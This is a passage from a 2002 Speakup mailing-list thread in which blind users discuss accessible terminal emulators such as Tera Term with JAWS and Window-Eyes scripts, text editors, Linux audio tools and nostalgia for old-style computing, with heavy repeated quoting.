> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

free terminal emulator for windows - download and install

[Rich Caloggero]

Janina wrote:
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and

I use a free windows terminal emulator called teraterm. I redefine the jaws
function sayNonHighlightedText to read everything appearing on the screen,
as long as its not a menu or in a dialog box (about 7 lines of code. Go to
http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
directory somewhere and click on ttermpro.exe for the standard version or
ttssh.exe for the ssh version. Both report the application name is
ttermpro.exe, so the jaws scripts will work regardless.
The jaws scripts are in ttermpro.zip. Download this file, extract to your
jaws scripts directory, and then either press enter on this script filename
from within windows explorer or press insert+f2 and choose script manager
and open the file from there. Once you have the file, press control+s to
save and compile it. Now you should be able to run teraterm and jaws should
speak correctly.

The real problem is text editing. I use ex (vi without the full-screen
stuff - basically ed ), but only crazy people like me probably want to go
this way. I need to try a full screen editor and make it work via a terminal
emulator. VI might be a good choice, but the key bindings only make sense if
you know about ed. What's the other choices for full screen editing which
are *not* emacs? I've heard of something called vim (is this correct)?
There's pico and probably others. I need to try and make this work for
myself too, because using ex is nice in some ways, but its more typing than
I really want to do with my RSI the way it is.

I can help more with this if needed. Its not the greatest solution, but it
works very well for me. The terminal emulator is very very stable. Its
worked on every version of windows I've tried it on with the same results.

Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
for more help. I will be unavailable for the next week or so, but after the
28th, I'll be able to answer e-mail again.

                    Rich Caloggero
                    MIT Adaptive Tech. for Info and Computing

Re: interesting experiment.

[Gregory Nowak]

Wow, that's nice. When is v.92 due to arrive?
Greg


On Mon, May 20, 2002 at 03:52:17PM +0800, Kerry Hoath wrote:
> Yes it does work offline actually or there is an offline mode.
> Just send your query text in the body of a message to
> google@capeclear.com and you'll get  your results back.
> Regarding not beeing online all the time; do what I did and
> get another phone line. Not all of us worldwide have cable
> and especially not in Australia. Alternatively wait for v.92
> that has the ability to put modem calls on hold and supports call waiting and
> phase 2 caller ID whilst you are online.
> On Mon, May 20, 2002 at 05:16:32AM +0300, Octavian Rasnita wrote:
> > Ha ha, thank you!
> > Google? Does it work offline?
> > 
> > Cheers.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message ----- 
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:37 PM
> > Subject: Re: interesting experiment.
> > 
> > 
> > All right, Newbies, Listen Up!
> > 
> > There's something called Google. It's your friend. You use it
> > with your favorite web browser. It's real easy and it's lynx
> > friendly. And, it finds the answers to almost all of the "where
> > do I find" questions I've seen on this list in the last 6 months,
> > and puts them on the first screen of results.
> > 
> > Learn to use Google. Keep it open in a second console.
> > 
> > The field where you type in your search string is the fourth
> > field on the main Google screen. The submit button is the next
> > field.
> > 
> > This is not rocket science. It isn't even hard.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> 
> -- 
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Charles Crawford]

Window eyes uses the insert-a for speak all when you are in teraterm.  That 
program is not all that good from my experience.  I just wish there were a 
good dos telnet program that coudl run from the dos window..

-- Charlie.

At 12:54 PM 5/20/02 -0500, you wrote:
>You mention jaws scripts. Are there window-eyes set files too? Or does it 
>work fine without them.
>Greg
>
>
>On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > Janina wrote:
> > > > Another option would be a better screen reader for telnet and a
> > > > better telnet client. That would mean a good DOS screen reader
> > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > Windows machine. Neither of those is very cheap, though, and
> >
> > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > function sayNonHighlightedText to read everything appearing on the screen,
> > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > directory somewhere and click on ttermpro.exe for the standard version or
> > ttssh.exe for the ssh version. Both report the application name is
> > ttermpro.exe, so the jaws scripts will work regardless.
> > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > jaws scripts directory, and then either press enter on this script filename
> > from within windows explorer or press insert+f2 and choose script manager
> > and open the file from there. Once you have the file, press control+s to
> > save and compile it. Now you should be able to run teraterm and jaws should
> > speak correctly.
> >
> > The real problem is text editing. I use ex (vi without the full-screen
> > stuff - basically ed ), but only crazy people like me probably want to go
> > this way. I need to try a full screen editor and make it work via a 
> terminal
> > emulator. VI might be a good choice, but the key bindings only make 
> sense if
> > you know about ed. What's the other choices for full screen editing which
> > are *not* emacs? I've heard of something called vim (is this correct)?
> > There's pico and probably others. I need to try and make this work for
> > myself too, because using ex is nice in some ways, but its more typing than
> > I really want to do with my RSI the way it is.
> >
> > I can help more with this if needed. Its not the greatest solution, but it
> > works very well for me. The terminal emulator is very very stable. Its
> > worked on every version of windows I've tried it on with the same results.
> >
> > Hope this helps someone -- Teddy especially. Please don't hesitate to 
> ask me
> > for more help. I will be unavailable for the next week or so, but after the
> > 28th, I'll be able to answer e-mail again.
> >
> >                     Rich Caloggero
> >                     MIT Adaptive Tech. for Info and Computing
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Gregory Nowak]

You mention jaws scripts. Are there window-eyes set files too? Or does it work fine without them.
Greg


On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> Janina wrote:
> > > Another option would be a better screen reader for telnet and a
> > > better telnet client. That would mean a good DOS screen reader
> > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > Windows machine. Neither of those is very cheap, though, and
> 
> I use a free windows terminal emulator called teraterm. I redefine the jaws
> function sayNonHighlightedText to read everything appearing on the screen,
> as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> directory somewhere and click on ttermpro.exe for the standard version or
> ttssh.exe for the ssh version. Both report the application name is
> ttermpro.exe, so the jaws scripts will work regardless.
> The jaws scripts are in ttermpro.zip. Download this file, extract to your
> jaws scripts directory, and then either press enter on this script filename
> from within windows explorer or press insert+f2 and choose script manager
> and open the file from there. Once you have the file, press control+s to
> save and compile it. Now you should be able to run teraterm and jaws should
> speak correctly.
> 
> The real problem is text editing. I use ex (vi without the full-screen
> stuff - basically ed ), but only crazy people like me probably want to go
> this way. I need to try a full screen editor and make it work via a terminal
> emulator. VI might be a good choice, but the key bindings only make sense if
> you know about ed. What's the other choices for full screen editing which
> are *not* emacs? I've heard of something called vim (is this correct)?
> There's pico and probably others. I need to try and make this work for
> myself too, because using ex is nice in some ways, but its more typing than
> I really want to do with my RSI the way it is.
> 
> I can help more with this if needed. Its not the greatest solution, but it
> works very well for me. The terminal emulator is very very stable. Its
> worked on every version of windows I've tried it on with the same results.
> 
> Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
> for more help. I will be unavailable for the next week or so, but after the
> 28th, I'll be able to answer e-mail again.
> 
>                     Rich Caloggero
>                     MIT Adaptive Tech. for Info and Computing
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Hi Teddy. Just do a googlesearch on "download sox," you should get something.
----- Original Message ----- 
From: Octavian Rasnita <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 10:17 PM
Subject: Re: interesting experiment.


> Are these programs free? Do you have a web site address  where I can
> download them?
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:43 PM
> Subject: Re: interesting experiment.
> 
> 
> Alex:
> 
> There's both ecasound and sox, and they're both very powerful.
> But, they work very differetnly from Sound Forge and Cool Edit.
> Also, their documentation is not professionally written, even
> though it is professional quality software.
> 
> In the realm of sound creation, there's the very classic Csound
> available for linux. This is the grand old synthesis ware that
> has been the bread and butter of major electronic music research
> facilities like carma at Stanford and Earcom in Paris.
> 
> On Sun, 19 May 2002, Alex Snow wrote:
> 
> > Is there any console based audio editors that work under linux? I've seen
> > one listed on the speakup projects page, but it said that it was on hold
> > because there were alternate solutions out there.  What are those
> alternate
> > solutions?
> > ----- Original Message -----
> > From: "Rich Caloggero" <rjc@MIT.EDU>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 3:08 AM
> > Subject: Re: interesting experiment.
> >
> >
> > > Yes, I must second on the music stuff. The only reason I use windows and
> > > Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> > > accessible) music sequencing and audio editing environment. Writing such
> a
> > > beast is very difficult, nontrivial, very f*cking hard, and takes many
> > human
> > > years to accomplish.
> > > To be fair, some of this difficulty may have to do with its reliance on
> > > Windows and its very ugly GUI programming (yes, its as ugly to develope
> > > under as it is to use), and some of the complexity may have to do with
> its
> > > ability to deal with music notation, but its still a nontrivial task to
> > > write such a beast. My feeling is that a console based sequencing and
> > audio
> > > package like cakeWalk won't ever be created, because sighted people want
> > to
> > > use a GUI. When gnome comes on-line for us, we may have more options in
> > this
> > > regard. I've heard of mixers and effects processors which are x-windows
> > > based, but I'm not sure how well they work. I think there is a sequencer
> > or
> > > two as well for the X environment. The question is, are any of these as
> > good
> > > as cakeWalk? CakeWalk is a professional quality product in every way.
> The
> > > only thing nonprofessional about it is Windows!
> > >
> > > There is someone (Frank Carmichael, I believe) who has been working on
> the
> > > audio piece of this, so maybe he can chime in on this and tell me how
> > *wrong
> > > I am*! <smile>
> > >
> > > There is no way to create music the way I do without this program! It
> sux,
> > > but its unfortunately the case.
> > >
> > >                     Rich
> > >
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: 18 May, 2002 8:37 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> > >
> > > Is there a text editor, that has macro features, Regular expressions,
> the
> > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> >
> > --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Raul A. Gallegos]

Window-eyes ships sets for teraterm which work very nicely out of 
the box.  All you have to make sure is that you are using a
vertical cursor shape in teraterm and you will be set.

Gregory Nowak said
the following on Mon, May 20, 2002 at 12:54:01PM -0500:
> You mention jaws scripts. Are there window-eyes set files too? Or does it work fine without them.
> Greg
> 
> 
> On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > Janina wrote:
> > > > Another option would be a better screen reader for telnet and a
> > > > better telnet client. That would mean a good DOS screen reader
> > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > Windows machine. Neither of those is very cheap, though, and
> > 
> > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > function sayNonHighlightedText to read everything appearing on the screen,
> > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > directory somewhere and click on ttermpro.exe for the standard version or
> > ttssh.exe for the ssh version. Both report the application name is
> > ttermpro.exe, so the jaws scripts will work regardless.
> > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > jaws scripts directory, and then either press enter on this script filename
> > from within windows explorer or press insert+f2 and choose script manager
> > and open the file from there. Once you have the file, press control+s to
> > save and compile it. Now you should be able to run teraterm and jaws should
> > speak correctly.
> > 
> > The real problem is text editing. I use ex (vi without the full-screen
> > stuff - basically ed ), but only crazy people like me probably want to go
> > this way. I need to try a full screen editor and make it work via a terminal
> > emulator. VI might be a good choice, but the key bindings only make sense if
> > you know about ed. What's the other choices for full screen editing which
> > are *not* emacs? I've heard of something called vim (is this correct)?
> > There's pico and probably others. I need to try and make this work for
> > myself too, because using ex is nice in some ways, but its more typing than
> > I really want to do with my RSI the way it is.
> > 
> > I can help more with this if needed. Its not the greatest solution, but it
> > works very well for me. The terminal emulator is very very stable. Its
> > worked on every version of windows I've tried it on with the same results.
> > 
> > Hope this helps someone -- Teddy especially. Please don't hesitate to ask me
> > for more help. I will be unavailable for the next week or so, but after the
> > 28th, I'll be able to answer e-mail again.
> > 
> >                     Rich Caloggero
> >                     MIT Adaptive Tech. for Info and Computing
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
If you perceive that there are four possible ways in which a procedure can
go wrong, and circumvent these, then a fifth way will promptly develop.
Raul A. Gallegos - http://www.asmodean.net

Re: interesting experiment.

[Igor Gueths]

Hi kerry. I also remember when irc was only one of the only chat clients out there, and when I used to hack around on local dos and remote Irix. The bbs and fidonat, the Bluewave mail reader? Its interesting looking back. 
----- Original Message ----- 
From: Kerry Hoath <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:27 AM
Subject: Re: interesting experiment.


> awwwwwwww shucks :-) that at least cheers me up emensely.
> It's not just this list; it seems that the new breed of IT people aren't
> like us oldschool bunch.
> I remember the net before the world wide web; when archie
> was the search tool of choice. I don't want to go back
> to those days; but it is interesting to reflect on.
> 
> Regards, Kerry.
> On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
> > 
> > > > Maybe I am becoming disalusioned, but it seems so many people these days have
> > > > no desire to know how things work, I mean really work.
> > 
> > Kerry:
> > 
> > I suspect some of this desire to remain ignorant becomes more
> > prevalent when something becomes more popular. But, please don't
> > become disillusioned with us here on this list. I'm sure I'm not
> > the only one that really appreciates your thoughtful and precise
> > posts. Your name comes up frequently in my saved folders because
> > of the knowledge and support you've provided here. I just want
> > you know that I, for one, appreciate you.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> 
> -- 
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Hackers

[Igor Gueths]

Hi Rich. Same here. I knew all the ins and outs of my old Dos machine. Then Winblows came along, and things got more complicated and nothing made sense. Now I use Linux, and things are falling back into place for me in terms of what I knew about working with Irix on a ppp connection back about 7-8 years ago. 
----- Original Message ----- 
From: Rich Caloggero <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:56 AM
Subject: Hackers


> A resounding "me too". The old-style hacker is really going out of style it
> seems. But maybe its more than that. Maybe things are just getting
> exponentially more complex, while also becoming more commercialized. I
> remember working on unix in the 80s on a network of Apollo workstations. It
> seemed I knew everything about those machines and the OS, right down to the
> system calls. Now, over 15 years later, I find myself fighting just to keep
> up with the technology, and find I know very little about any one thing.
> Now, is that because I'm not 20 something anymore, or because there's just
> that much more to know, etc. Still hesitate to call myself a true hacker
> though; I'm just not that smart!
> 
>                     Rich
> 
> ----- Original Message -----
> From: "Kerry Hoath" <kerry@gotss.net>
> To: <speakup@braille.uwo.ca>
> Sent: 20 May, 2002 3:27 AM
> Subject: Re: interesting experiment.
> 
> 
> awwwwwwww shucks :-) that at least cheers me up emensely.
> It's not just this list; it seems that the new breed of IT people aren't
> like us oldschool bunch.
> I remember the net before the world wide web; when archie
> was the search tool of choice. I don't want to go back
> to those days; but it is interesting to reflect on.
> 
> Regards, Kerry.
> On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
> >
> > > > Maybe I am becoming disalusioned, but it seems so many people these
> days have
> > > > no desire to know how things work, I mean really work.
> >
> > Kerry:
> >
> > I suspect some of this desire to remain ignorant becomes more
> > prevalent when something becomes more popular. But, please don't
> > become disillusioned with us here on this list. I'm sure I'm not
> > the only one that really appreciates your thoughtful and precise
> > posts. Your name comes up frequently in my saved folders because
> > of the knowledge and support you've provided here. I just want
> > you know that I, for one, appreciate you.
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> 
> --
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
> kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
> 
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Alex Snow]

There is.  It's called console telnet and it's open source.  I don't
remember the url of the top of my head, but I can look it up.
----- Original Message -----
From: "Charles Crawford" <ccrawford@acb.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 1:45 PM
Subject: Re: free terminal emulator for windows - download and install


> Window eyes uses the insert-a for speak all when you are in teraterm.
That
> program is not all that good from my experience.  I just wish there were a
> good dos telnet program that coudl run from the dos window..
>
> -- Charlie.
>
> At 12:54 PM 5/20/02 -0500, you wrote:
> >You mention jaws scripts. Are there window-eyes set files too? Or does it
> >work fine without them.
> >Greg
> >
> >
> >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > Janina wrote:
> > > > > Another option would be a better screen reader for telnet and a
> > > > > better telnet client. That would mean a good DOS screen reader
> > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > Windows machine. Neither of those is very cheap, though, and
> > >
> > > I use a free windows terminal emulator called teraterm. I redefine the
jaws
> > > function sayNonHighlightedText to read everything appearing on the
screen,
> > > as long as its not a menu or in a dialog box (about 7 lines of code.
Go to
> > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
into a
> > > directory somewhere and click on ttermpro.exe for the standard version
or
> > > ttssh.exe for the ssh version. Both report the application name is
> > > ttermpro.exe, so the jaws scripts will work regardless.
> > > The jaws scripts are in ttermpro.zip. Download this file, extract to
your
> > > jaws scripts directory, and then either press enter on this script
filename
> > > from within windows explorer or press insert+f2 and choose script
manager
> > > and open the file from there. Once you have the file, press control+s
to
> > > save and compile it. Now you should be able to run teraterm and jaws
should
> > > speak correctly.
> > >
> > > The real problem is text editing. I use ex (vi without the full-screen
> > > stuff - basically ed ), but only crazy people like me probably want to
go
> > > this way. I need to try a full screen editor and make it work via a
> > terminal
> > > emulator. VI might be a good choice, but the key bindings only make
> > sense if
> > > you know about ed. What's the other choices for full screen editing
which
> > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > There's pico and probably others. I need to try and make this work for
> > > myself too, because using ex is nice in some ways, but its more typing
than
> > > I really want to do with my RSI the way it is.
> > >
> > > I can help more with this if needed. Its not the greatest solution,
but it
> > > works very well for me. The terminal emulator is very very stable. Its
> > > worked on every version of windows I've tried it on with the same
results.
> > >
> > > Hope this helps someone -- Teddy especially. Please don't hesitate to
> > ask me
> > > for more help. I will be unavailable for the next week or so, but
after the
> > > 28th, I'll be able to answer e-mail again.
> > >
> > >                     Rich Caloggero
> > >                     MIT Adaptive Tech. for Info and Computing
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: free terminal emulator for windows - download and install

[Igor Gueths]

Also, Tony Bechler did a review of it on Mainmenu.
----- Original Message ----- 
From: Alex Snow <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 3:00 PM
Subject: Re: free terminal emulator for windows - download and install


> There is.  It's called console telnet and it's open source.  I don't
> remember the url of the top of my head, but I can look it up.
> ----- Original Message -----
> From: "Charles Crawford" <ccrawford@acb.org>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 1:45 PM
> Subject: Re: free terminal emulator for windows - download and install
> 
> 
> > Window eyes uses the insert-a for speak all when you are in teraterm.
> That
> > program is not all that good from my experience.  I just wish there were a
> > good dos telnet program that coudl run from the dos window..
> >
> > -- Charlie.
> >
> > At 12:54 PM 5/20/02 -0500, you wrote:
> > >You mention jaws scripts. Are there window-eyes set files too? Or does it
> > >work fine without them.
> > >Greg
> > >
> > >
> > >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > Janina wrote:
> > > > > > Another option would be a better screen reader for telnet and a
> > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > > Windows machine. Neither of those is very cheap, though, and
> > > >
> > > > I use a free windows terminal emulator called teraterm. I redefine the
> jaws
> > > > function sayNonHighlightedText to read everything appearing on the
> screen,
> > > > as long as its not a menu or in a dialog box (about 7 lines of code.
> Go to
> > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
> into a
> > > > directory somewhere and click on ttermpro.exe for the standard version
> or
> > > > ttssh.exe for the ssh version. Both report the application name is
> > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > The jaws scripts are in ttermpro.zip. Download this file, extract to
> your
> > > > jaws scripts directory, and then either press enter on this script
> filename
> > > > from within windows explorer or press insert+f2 and choose script
> manager
> > > > and open the file from there. Once you have the file, press control+s
> to
> > > > save and compile it. Now you should be able to run teraterm and jaws
> should
> > > > speak correctly.
> > > >
> > > > The real problem is text editing. I use ex (vi without the full-screen
> > > > stuff - basically ed ), but only crazy people like me probably want to
> go
> > > > this way. I need to try a full screen editor and make it work via a
> > > terminal
> > > > emulator. VI might be a good choice, but the key bindings only make
> > > sense if
> > > > you know about ed. What's the other choices for full screen editing
> which
> > > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > > There's pico and probably others. I need to try and make this work for
> > > > myself too, because using ex is nice in some ways, but its more typing
> than
> > > > I really want to do with my RSI the way it is.
> > > >
> > > > I can help more with this if needed. Its not the greatest solution,
> but it
> > > > works very well for me. The terminal emulator is very very stable. Its
> > > > worked on every version of windows I've tried it on with the same
> results.
> > > >
> > > > Hope this helps someone -- Teddy especially. Please don't hesitate to
> > > ask me
> > > > for more help. I will be unavailable for the next week or so, but
> after the
> > > > 28th, I'll be able to answer e-mail again.
> > > >
> > > >                     Rich Caloggero
> > > >                     MIT Adaptive Tech. for Info and Computing
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >_______________________________________________
> > >Speakup mailing list
> > >Speakup@braille.uwo.ca
> > >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Charles Crawford]

Cool.  Is that a DOS ap?

-- charlie.
At 03:00 PM 5/20/02 -0400, you wrote:
>There is.  It's called console telnet and it's open source.  I don't
>remember the url of the top of my head, but I can look it up.
>----- Original Message -----
>From: "Charles Crawford" <ccrawford@acb.org>
>To: <speakup@braille.uwo.ca>
>Sent: Monday, May 20, 2002 1:45 PM
>Subject: Re: free terminal emulator for windows - download and install
>
>
> > Window eyes uses the insert-a for speak all when you are in teraterm.
>That
> > program is not all that good from my experience.  I just wish there were a
> > good dos telnet program that coudl run from the dos window..
> >
> > -- Charlie.
> >
> > At 12:54 PM 5/20/02 -0500, you wrote:
> > >You mention jaws scripts. Are there window-eyes set files too? Or does it
> > >work fine without them.
> > >Greg
> > >
> > >
> > >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > > Janina wrote:
> > > > > > Another option would be a better screen reader for telnet and a
> > > > > > better telnet client. That would mean a good DOS screen reader
> > > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > > Windows machine. Neither of those is very cheap, though, and
> > > >
> > > > I use a free windows terminal emulator called teraterm. I redefine the
>jaws
> > > > function sayNonHighlightedText to read everything appearing on the
>screen,
> > > > as long as its not a menu or in a dialog box (about 7 lines of code.
>Go to
> > > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
>into a
> > > > directory somewhere and click on ttermpro.exe for the standard version
>or
> > > > ttssh.exe for the ssh version. Both report the application name is
> > > > ttermpro.exe, so the jaws scripts will work regardless.
> > > > The jaws scripts are in ttermpro.zip. Download this file, extract to
>your
> > > > jaws scripts directory, and then either press enter on this script
>filename
> > > > from within windows explorer or press insert+f2 and choose script
>manager
> > > > and open the file from there. Once you have the file, press control+s
>to
> > > > save and compile it. Now you should be able to run teraterm and jaws
>should
> > > > speak correctly.
> > > >
> > > > The real problem is text editing. I use ex (vi without the full-screen
> > > > stuff - basically ed ), but only crazy people like me probably want to
>go
> > > > this way. I need to try a full screen editor and make it work via a
> > > terminal
> > > > emulator. VI might be a good choice, but the key bindings only make
> > > sense if
> > > > you know about ed. What's the other choices for full screen editing
>which
> > > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > > There's pico and probably others. I need to try and make this work for
> > > > myself too, because using ex is nice in some ways, but its more typing
>than
> > > > I really want to do with my RSI the way it is.
> > > >
> > > > I can help more with this if needed. Its not the greatest solution,
>but it
> > > > works very well for me. The terminal emulator is very very stable. Its
> > > > worked on every version of windows I've tried it on with the same
>results.
> > > >
> > > > Hope this helps someone -- Teddy especially. Please don't hesitate to
> > > ask me
> > > > for more help. I will be unavailable for the next week or so, but
>after the
> > > > 28th, I'll be able to answer e-mail again.
> > > >
> > > >                     Rich Caloggero
> > > >                     MIT Adaptive Tech. for Info and Computing
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
